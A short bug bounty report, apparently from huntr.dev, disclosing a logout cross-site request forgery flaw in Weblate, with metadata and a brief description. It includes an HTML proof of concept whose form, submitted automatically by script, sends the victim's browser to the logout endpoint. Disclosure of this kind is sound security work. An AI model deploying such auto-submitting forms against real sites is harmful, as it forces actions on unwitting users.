Cross-Site Request Forgery Vulnerability in Logout Functionality

2023-10-1306:39:46

qqliunian2001

www.huntr.dev

cross-site request forgery

logout functionality

security vulnerability

malicious website

proof of concept

fix

weblateorg

bug bounty

EPSS

0.001

Percentile

35.9%

JSON

Description

Logout CSRF is a security vulnerability where an attacker forces a user to unknowingly log out of their session by tricking them into triggering a logout request through a malicious website or link.

GET  http://localhost:8080/logout

Proof of Concept

&lt;html&gt;
  
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://localhost:8080/logout"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;